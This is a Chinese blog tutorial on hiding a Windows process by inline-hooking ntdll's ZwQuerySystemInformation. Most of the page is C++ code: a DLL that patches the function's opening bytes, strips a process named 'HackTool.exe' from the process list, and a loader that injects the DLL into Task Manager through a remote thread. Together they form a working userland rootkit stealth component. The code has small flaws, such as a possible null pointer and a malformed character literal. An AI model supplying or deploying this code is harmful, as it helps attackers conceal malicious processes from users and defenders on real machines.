HOOK函数ZwQuerySystemInformation实现进程隐藏

实现原理:

  由于遍历进程通常是通过调用WIN32 API函数 EnumProcesses 或是CreateToolhelp32Snapshot 等来实现的。

  通过跟踪逆向这些WIN32 API函数可知,它们内部最终是通过调用ZwQuerySystemInformation函数来检索系

  统进程信息的,从而实现进程遍历操作。所以,程序只需要HOOK ZwQuerySystemInformation这一个函数就

  足够了。在ZwQuerySystem Information函数的内部判断检索的信息是否是进程信息,若是,则对返回的进程

  信息进行修改,将隐藏的进程信息从中去掉再返回。因此只要是通过调用ZwQuerySystemInformation来检索

  系统进程的,获取到的数据均是被篡改的,自然获取不到隐藏进程的信息,这样,指定进程就被隐藏起来了。

  

代码:

//CHideProcess.h

#pragma once

#include <windows.h>
#include <winternl.h>

void OnInlineHook();

void UnInlineHook();

NTSTATUS WINAPI MyZwQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);
//CHideProcess.cpp

#include "pch.h"
#include "CHideProcess.h"

typedef NTSTATUS(WINAPI* typedef_ZwQuerySystemInformation)(
    _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Inout_   PVOID                     SystemInformation,
    _In_      ULONG                      SystemInformationLength,
    _Out_opt_ PULONG                   ReturnLength);

char g_oldcode64_ZwQ[12] = { 0 };
char g_oldcode32_ZwQ[5] = { 0 };


// 开启InlineHook
void OnInlineHook()
{
    // 1.获取函数地址
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
        (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");

    // 32位修改5个字节,64位修改12个字节
#ifndef _WIN64
    // jmp New_ZwQuerySystemInformation
    // 机器码位:e9 _dwOffset(跳转偏移)
    //          addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
    //          addr2 --> 跳转地址的值,即_dwNewAddress的值
    //          跳转偏移 _dwOffset = addr2 - addr1
    BYTE g_newcode[5] = { 0xE9 };
    // 2. 保存原始指令5个字节
    memcpy(g_oldcode32_ZwQ, ZwQuerySystemInformation, 5);

    // 3. 计算跳转偏移,构建跳转 newcode[5]
    // 跳转偏移  = 目标地址 - 指令所在- 指令长度
    DWORD dwOffset = (DWORD)MyZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
    *(DWORD*)(g_newcode + 1) = dwOffset;
#else
    // mov rax,0x1122334455667788
    // jmp rax
    // 机器码是:
    //      48 b8 8877665544332211
    //      ff e0
    BYTE g_newcode[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
    // 2. 保存原始指令12个字节
    memcpy(g_oldcode64_ZwQ, ZwQuerySystemInformation, 12);
    // 3. 构建跳转 newcode[12]
    ULONGLONG dwOffset = (ULONGLONG)MyZwQuerySystemInformation;
    *(ULONGLONG*)(g_newcode + 2) = dwOffset;
#endif // !_WIN64

    // 4. 写入跳转偏移
    // 修改目标页属性
    DWORD dwOldProtect;
    VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 修改MessageBoxW指令前5个字节
    memcpy(ZwQuerySystemInformation, g_newcode, sizeof(g_newcode));
    // 恢复页属性
    VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), dwOldProtect, &dwOldProtect);
}


// 关闭InlineHook
void UnInlineHook()
{
    // 还原MessageBoxW前5个字节
    // 1.获取函数地址
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
        (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");

    // 2.还原指令前5字节
    // 修改目标页属性
    DWORD dwOldProtect;
    VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 32位下还原前5字节,64位下还原前12字节
#ifndef _WIN64
    // 修改函数指令前5个字节
    memcpy(ZwQuerySystemInformation, g_oldcode32_ZwQ, 5);
#else
    // 修改函数指令前12个字节
    memcpy(ZwQuerySystemInformation, g_oldcode64_ZwQ, 12);
#endif  // !_WIN64

    // 恢复页属性
    VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}

// hook后的新代码
//特别注意要加上调用方式 WINAPI
NTSTATUS WINAPI MyZwQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
)
{
    NTSTATUS status = 0;

    PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;

    // 要隐藏的进程名
    wchar_t dwHideProcessName[MAX_PATH] = L"HackTool.exe";

    // 卸载钩子
    UnInlineHook();

    // 1.获取函数地址
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
        (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");
    if (NULL == ZwQuerySystemInformation)
    {
        return status;
    }
    // 调用原函数 ZwQuerySystemInformation
    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
        SystemInformationLength, ReturnLength);
    //  如果是检索系统的进程信息并且调用原函数成功
    if (NT_SUCCESS(status) && 5 == SystemInformationClass)
    {
        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
        while (TRUE)
        {
            // 判断是否是要隐藏的进程PID
            // 如果是要隐藏的进程PID
            if (lstrcmp(pCur->ImageName.Buffer, dwHideProcessName) == 0)
            {
                if (0 == pCur->NextEntryOffset)
                {
                    //当我们需要隐藏的进程是最后一个数据时
                    //就将上一个数据结构的NextEntryOffset置0
                    //这时系统在遍历我们进程时就不会发现了
                    pPrev->NextEntryOffset = 0;
                }
                else
                {
                    //当我们需要隐藏的进程 后面还有进程时
                    //越过要隐藏的进程让 NextEntryOffset 
                    //指向下一个数据块
                    pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
                }
                //多个PID比较时,这里千万要去掉
                break;
            }

            if (0 == pCur->NextEntryOffset)
            {
                break;
            }
            pPrev = pCur;
            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
        }
    }

    //设置钩子
    OnInlineHook();

    return status;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "CHideProcess.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        OnInlineHook();
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    {
        UnInlineHook();
        break;
    }
        break;
    }
    return TRUE;
}
    //获取当前程序所在路径
    char pszFileName[MAX_PATH] = { 0 };
    GetModuleFileName(NULL, pszFileName, MAX_PATH);

    //要注入的进程名(任务管理器 win7 32位taskmgr.exe  win10 64位Taskmgr.exe)
#ifndef _WIN64
    char pszProcseeName[MAX_PATH] = "taskmgr.exe";
#else
    char pszProcseeName[MAX_PATH] = "Taskmgr.exe";
#endif

    //根据进程名获取进程PID
    DWORD nPid = GetProcessIdByProcessName(pszProcseeName);
    if (nPid != 0)
    {
        //获取当前程序所在目录
        (strrchr(pszFileName, \\))[0] = 0;
        //拼接要注入dll路径
        char pszDllName[MAX_PATH] = { 0 };
        sprintf_s(pszDllName, "%s\\%s", pszFileName, "Hook_taskmgr.dll");
        //远程线程注入DLL
        CreateRemoteThreadInjectDll(nPid, pszDllName);
    }

通过进程名获取进程PID链接:根据进程名获取进程PID

远程线程注入链接:远程线程注入

 

HOOK函数ZwQuerySystemInformation实现进程隐藏

上一篇:vim异常问题说明及工作原理


下一篇:repmgr的见证节点和守护进程